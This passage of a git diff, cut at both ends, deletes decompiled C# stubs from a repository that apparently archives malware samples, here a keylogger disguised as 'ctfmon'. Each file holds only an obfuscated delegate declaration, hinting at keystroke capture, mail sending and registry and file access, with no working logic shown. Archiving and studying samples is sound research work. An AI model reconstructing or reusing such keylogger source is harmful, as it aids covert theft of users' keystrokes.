obj3); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0080_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0080_0002.cs deleted file mode 100644 index df81f991..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0080_0002.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: € -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Runtime.InteropServices; -using System.Windows.Forms; - -internal delegate bool \u0080\u0002([In] Keys obj0); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0080_0003.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0080_0003.cs deleted file mode 100644 index 4a42c349..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0080_0003.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: € -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Runtime.InteropServices; - -internal delegate string \u0080\u0003([In] string[] obj0); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0081_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0081_0002.cs deleted file mode 100644 index cadda454..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0081_0002.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Reflection; -using System.Runtime.InteropServices; - -internal delegate MethodBase \u0081\u0002([In] object obj0); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0081_0003.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0081_0003.cs deleted file mode 100644 index 994d029c..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0081_0003.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Runtime.InteropServices; - -internal delegate string \u0081\u0003([In] string obj0, [In] string obj1, [In] string obj2, [In] string obj3); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0082_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0082_0002.cs deleted file mode 100644 index e0ac8be3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0082_0002.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚ -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using Microsoft.VisualBasic.MyServices; -using System.Runtime.InteropServices; - -internal delegate SpecialDirectoriesProxy \u0082\u0002([In] object obj0); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0082_0003.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0082_0003.cs deleted file mode 100644 index f26ca653..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0082_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚ -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate void \u0082\u0003([In] Array obj0, [In] RuntimeFieldHandle obj1); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0083_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0083_0002.cs deleted file mode 100644 index 896322f9..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0083_0002.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ƒ -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using Microsoft.VisualBasic.MyServices; -using System.Runtime.InteropServices; - -internal delegate RegistryProxy \u0083\u0002([In] object obj0); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0083_0003.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0083_0003.cs deleted file mode 100644 index 14c3f72b..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0083_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ƒ -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate void \u0083\u0003([In] Array obj0, [In] int obj1, [In] Array obj2, [In] int obj3, [In] int obj4); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0084_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0084_0002.cs deleted file mode 100644 index 4d7c7d2c..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0084_0002.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: „ -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using Microsoft.VisualBasic.MyServices; -using System.Runtime.InteropServices; - -internal delegate FileSystemProxy \u0084\u0002([In] object obj0); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0084_0003.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0084_0003.cs deleted file mode 100644 index 1d5f6c40..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0084_0003.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: „ -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Runtime.InteropServices; - -internal delegate string \u0084\u0003([In] object obj0, [In] int obj1, [In] int obj2); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0086_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0086_0002.cs deleted file mode 100644 index aab511cd..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0086_0002.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: † -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using Microsoft.VisualBasic.Devices; -using System.Runtime.InteropServices; - -internal delegate ComputerInfo \u0086\u0002([In] object obj0); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0086_0003.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0086_0003.cs deleted file mode 100644 index 83fd51cc..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0086_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: † -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Runtime.InteropServices; -using System.Windows.Forms; - -internal delegate void \u0086\u0003([In] object obj0, [In] FormClosingEventHandler obj1); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0087_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0087_0002.cs deleted file mode 100644 index 2c26f875..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0087_0002.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‡ -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate Delegate \u0087\u0002([In] object obj0, [In] Type obj1); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0087_0003.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0087_0003.cs deleted file mode 100644 index a3a679d1..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0087_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‡ -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Runtime.InteropServices; -using System.Windows.Forms; - -internal delegate void \u0087\u0003([In] object obj0, [In] Cursor obj1); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0088_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0088_0002.cs deleted file mode 100644 index 9d1d6502..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0088_0002.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ˆ -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Net.Mail; -using System.Runtime.InteropServices; - -internal delegate MailAddressCollection \u0088\u0002([In] object obj0); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0088_0003.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0088_0003.cs deleted file mode 100644 index d7f941ee..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0088_0003.cs +++ /dev/null @@ -1,11 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ˆ -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System; -using System.Reflection; -using System.Runtime.InteropServices; - -internal delegate IntPtr \u0088\u0003([In] Module obj0); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0089_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0089_0002.cs deleted file mode 100644 index f6b8ac9e..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0089_0002.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‰ -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Runtime.InteropServices; - -internal delegate string \u0089\u0002([In] object obj0); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0089_0003.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0089_0003.cs deleted file mode 100644 index 851699a7..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0089_0003.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‰ -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Runtime.InteropServices; - -internal delegate string \u0089\u0003([In] string obj0, [In] string obj1); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008A_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008A_0002.cs deleted file mode 100644 index eb1a0468..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008A_0002.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Š -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Runtime.InteropServices; - -internal delegate string \u008A\u0002([In] int obj0); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008A_0003.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008A_0003.cs deleted file mode 100644 index 61c3e478..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008A_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Š -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate Type \u008A\u0003([In] object obj0); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008B_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008B_0002.cs deleted file mode 100644 index 57544c15..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008B_0002.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‹ -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate PlatformID \u008B\u0002([In] object obj0); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008B_0003.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008B_0003.cs deleted file mode 100644 index 67873f17..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008B_0003.cs +++ /dev/null @@ -1,11 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‹ -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System; -using System.Reflection; -using System.Runtime.InteropServices; - -internal delegate MethodBase \u008B\u0003([In] RuntimeMethodHandle obj0); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008C.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008C.cs deleted file mode 100644 index 94b5ea36..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008C.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Œ -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Runtime.InteropServices; -using System.Windows.Forms; - -internal delegate void \u008C([In] object obj0, [In] Form obj1); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008C_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008C_0002.cs deleted file mode 100644 index 7eb7534d..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008C_0002.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Œ -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: 